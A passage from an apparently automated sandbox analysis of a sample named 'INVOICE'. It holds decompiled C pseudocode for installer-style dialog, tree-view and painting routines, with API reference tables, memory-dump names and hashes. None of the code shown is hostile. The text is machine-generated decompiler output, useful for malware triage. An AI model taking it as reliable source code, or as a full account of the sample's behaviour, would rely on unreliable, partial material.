						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x434f19 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404E54(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x434f18) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x42d24c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x42d260;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x42d24c = 0;
								 *0x42d260 = 0;
								 *0x434f60 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x434f19 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404ED4();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x42d260;
									_t201 =  *0x434f28;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x434f2c <= 0) {
										L86:
										if( *0x434fbe == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										_t202 =  *0x433edc; // 0x680020
										if( *((intOrPtr*)(_t202 + 0x10)) != 0) {
											E00404E0F(0x3ff, 0xfffffffb, E00404E27(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x434f2c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x42d260);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x434f60 = _t291;
					 *0x42d260 = GlobalAlloc(0x40,  *0x434f2c << 2);
					_t258 = LoadImageW( *0x434f00, 0x6e, 0, 0, 0, 0);
					 *0x42d254 =  *0x42d254 | 0xffffffff;
					_t297 = _t258;
					 *0x42d25c = SetWindowLongW(_v8, 0xfffffffc, E00405513);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42d24c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42d24c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E0040657A(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404499(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404499(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x434f2c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x42d260 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x42d260 + _t300 * 4) = _t284;
									_v16 =  *( *0x42d260 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x434f2c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004044CE(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004044CE(_v12);
								L93:
								return E00404500(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404f0d
0x00404f26
0x00404f2b
0x00404f33
0x00404f39
0x00404f4f
0x00404f52
0x0040517d
0x00405184
0x00405198
0x00405186
0x00405188
0x0040518b
0x0040518c
0x00405193
0x00405193
0x004051a4
0x004051b2
0x004051b5
0x004051cb
0x00405240
0x00405243
0x00405245
0x0040524f
0x0040525d
0x0040525d
0x0040525f
0x00405269
0x0040526f
0x00405272
0x00405275
0x00405290
0x00405277
0x00405281
0x00405281
0x00405275
0x00405269
0x00000000
0x00405243
0x004051d0
0x004051db
0x004051e0
0x004051e7
0x004051ec
0x004051f0
0x004051fb
0x004051fb
0x004051ff
0x00405203
0x00405207
0x0040521a
0x00405209
0x00405209
0x00405210
0x00405216
0x00405212
0x00405212
0x00405212
0x00405210
0x0040521e
0x00405220
0x00405233
0x00405236
0x00405239
0x00405239
0x00405203
0x00000000
0x004051f0
0x004051d2
0x004051d9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405293
0x00405293
0x0040529a
0x0040530b
0x00405313
0x0040531b
0x0040531b
0x00405324
0x00405326
0x0040532d
0x00405330
0x00405330
0x00405336
0x0040533d
0x00405340
0x00405340
0x00405346
0x0040534c
0x00405352
0x00405352
0x0040535f
0x004054c0
0x004054c7
0x004054e4
0x004054ea
0x004054fc
0x004054fc
0x00000000
0x00405365
0x00405367
0x0040536c
0x00405371
0x00405376
0x00405378
0x00405378
0x00405379
0x0040537a
0x0040537c
0x0040537c
0x00405384
0x004053c5
0x004053c7
0x004053d7
0x004053da
0x004053df
0x004053e6
0x004053e9
0x0040548b
0x00405494
0x0040549c
0x0040549c
0x004054a2
0x004054aa
0x004054bb
0x004054bb
0x00000000
0x004054aa
0x004053ef
0x004053f2
0x004053f8
0x004053fd
0x004053ff
0x00405401
0x00405407
0x0040540e
0x00405413
0x0040541a
0x0040541d
0x0040541d
0x00405424
0x00405430
0x00405434
0x00405436
0x00405436
0x00405426
0x00405428
0x00405428
0x00405456
0x00405462
0x00405471
0x00405471
0x00405473
0x00405476
0x0040547f
0x00000000
0x00405386
0x00405391
0x00405394
0x00405399
0x0040539b
0x0040539f
0x004053af
0x004053b9
0x004053bb
0x004053be
0x00000000
0x00000000
0x00000000
0x00000000
0x004053a1
0x004053a1
0x004053a7
0x004053a9
0x004053a9
0x004053aa
0x004053ab
0x00000000
0x004053a1
0x00405384
0x0040535f
0x004052a2
0x00000000
0x004052b8
0x004052c2
0x004052c7
0x00000000
0x00000000
0x004052d9
0x004052de
0x004052ea
0x004052ea
0x004052ec
0x004052fb
0x004052fd
0x00405301
0x00405304
0x00000000
0x00405304
0x004052a2
0x00404f58
0x00404f5d
0x00404f66
0x00404f6d
0x00404f7f
0x00404f8a
0x00404f90
0x00404f9e
0x00404fb2
0x00404fb7
0x00404fc4
0x00404fc9
0x00404fdf
0x00404ff0
0x00404ffd
0x00404ffd
0x00405000
0x00405006
0x00405008
0x0040500b
0x00405010
0x00405015
0x00405017
0x00405017
0x00405037
0x00405037
0x00405039
0x0040503a
0x0040503f
0x00405045
0x00405049
0x0040504e
0x00405056
0x0040505a
0x0040505f
0x00405064
0x0040506c
0x0040506f
0x0040513f
0x00405152
0x00000000
0x00405075
0x00405078
0x0040507b
0x0040507e
0x0040507e
0x00405084
0x0040508d
0x00405090
0x00405094
0x00405097
0x0040509a
0x004050a3
0x004050ac
0x004050af
0x004050b2
0x004050b5
0x004050f3
0x0040511e
0x004050f5
0x00405104
0x00405104
0x004050b7
0x004050ba
0x004050c8
0x004050d2
0x004050da
0x004050e1
0x004050ec
0x004050ec
0x004050b5
0x00405124
0x00405125
0x00405131
0x00405131
0x0040513d
0x00405158
0x0040515b
0x00405178
0x00000000
0x0040515d
0x00405162
0x0040516b
0x004054fe
0x00405510
0x00405510
0x0040515b
0x00000000
0x0040513d
0x0040506f

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F1E
GetDlgItem.USER32(?,00000408), ref: 00404F29
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F73
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F8A
SetWindowLongW.USER32(?,000000FC,00405513), ref: 00404FA3
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB7
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FC9
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDF
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FEB
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFD
DeleteObject.GDI32(00000000), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040525D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052D7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040531B
ImageList_Destroy.COMCTL32(?), ref: 00405330
GlobalFree.KERNEL32(?), ref: 00405340
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053B9
SendMessageW.USER32(?,00001102,?,?), ref: 00405462
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405471
InvalidateRect.USER32(?,00000000,00000001), ref: 0040549C
ShowWindow.USER32(?,00000000), ref: 004054EA
GetDlgItem.USER32(?,000003FE), ref: 004054F5
ShowWindow.USER32(00000000), ref: 004054FC

Strings

N, xrefs: 0040519B
M, xrefs: 004050BA
, xrefs: 004054D4

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 749bdf8e43bd841ecb3e5c95033ce80d775c45143b483fe0b3b59f6494973967
Instruction ID: 669472b6e39b4296dbb294a81ed98d86f32f22d8abeb4cff7518c6a892085abf
Opcode Fuzzy Hash: 749bdf8e43bd841ecb3e5c95033ce80d775c45143b483fe0b3b59f6494973967
Instruction Fuzzy Hash: EF028A70900608EFDB20DFA9DD45AAF7BB5FB84314F10817AE610BA2E0D7799942DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404658 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404658(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				intOrPtr _t69;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x42b234 =  *0x42b234 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E00404500(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x432ea0;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404907(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x434f08, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x434f08, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x42b234 != 0) {
						goto L27;
					} else {
						_t69 =  *0x42c240; // 0x67ce5c
						_t29 = _t69 + 0x14; // 0x67ce70
						_t116 = _t29;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004044BB(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004048E3();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t111 =  *0x433edc; // 0x680020
					_t75 =  *(_t111 - 4 + _t75 * 4);
				}
				_t76 =  *0x434f38 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404609;
				if(_t110 != 2) {
					_v8 = E004045CF;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404499(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404499(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004044BB( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004044CE(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x434f10 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x42b234 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x42b234 = 0;
				return 0;
			}

0x0040466a
0x00404797
0x004047f4
0x004047f8
0x004048c5
0x004048c7
0x004048c7
0x004048cd
0x004048cd
0x004048d0
0x00000000
0x004048d7
0x00404806
0x0040480c
0x00404816
0x00404821
0x00404824
0x00404827
0x00404832
0x00404835
0x0040483c
0x00404849
0x0040485a
0x00404860
0x00404868
0x00404876
0x0040487c
0x0040487c
0x0040483c
0x00404886
0x00000000
0x00404891
0x00404895
0x004048a5
0x004048a5
0x004048ab
0x004048b7
0x004048b7
0x00000000
0x004048bb
0x00404886
0x004047a2
0x00000000
0x004047b4
0x004047b4
0x004047b9
0x004047b9
0x004047bf
0x00000000
0x00000000
0x004047e8
0x004047ea
0x004047ef
0x00000000
0x004047ef
0x004047a2
0x00404670
0x00404673
0x00404678
0x0040467a
0x00404689
0x00404689
0x00404691
0x00404694
0x00404698
0x0040469b
0x0040469f
0x004046a2
0x004046a5
0x004046a8
0x004046af
0x004046b1
0x004046b1
0x004046bb
0x004046c8
0x004046d2
0x004046d7
0x004046da
0x004046df
0x004046f6
0x004046fd
0x00404710
0x00404713
0x00404727
0x0040472e
0x00404733
0x00404738
0x00404738
0x00404746
0x00404754
0x00404766
0x0040476b
0x0040477b
0x0040477d
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046F6
GetDlgItem.USER32(?,000003E8), ref: 0040470A
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404727
GetSysColor.USER32(?), ref: 00404738
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404746
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404754
lstrlenW.KERNEL32(?), ref: 00404759
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404766
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040477B
GetDlgItem.USER32(?,0000040A), ref: 004047D4
SendMessageW.USER32(00000000), ref: 004047DB
GetDlgItem.USER32(?,000003E8), ref: 00404806
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404849
LoadCursorW.USER32(00000000,00007F02), ref: 00404857
SetCursor.USER32(00000000), ref: 0040485A
LoadCursorW.USER32(00000000,00007F00), ref: 00404873
SetCursor.USER32(00000000), ref: 00404876
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048A5
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B7

Strings

N, xrefs: 004047F4
Call, xrefs: 00404835

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
Instruction ID: e0aa441e67ff77812dea5cfa76c138b5706349c0d06c8e95e02877fce1cb63d1
Opcode Fuzzy Hash: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
Instruction Fuzzy Hash: 1A61A3B5900209BFDB10AF60DD85E6A7BA9FB44314F00843AFB05B62D0D778A951DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x434f10;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x433f00, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x434f08;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
Instruction ID: e457e53e67a16f607b198c8be77aa7e47a8fd9e6aa67a1a07366d16d1d2d9a76
Opcode Fuzzy Hash: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
Instruction Fuzzy Hash: 0E418B71800209AFCF058FA5DE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406183 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406183(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
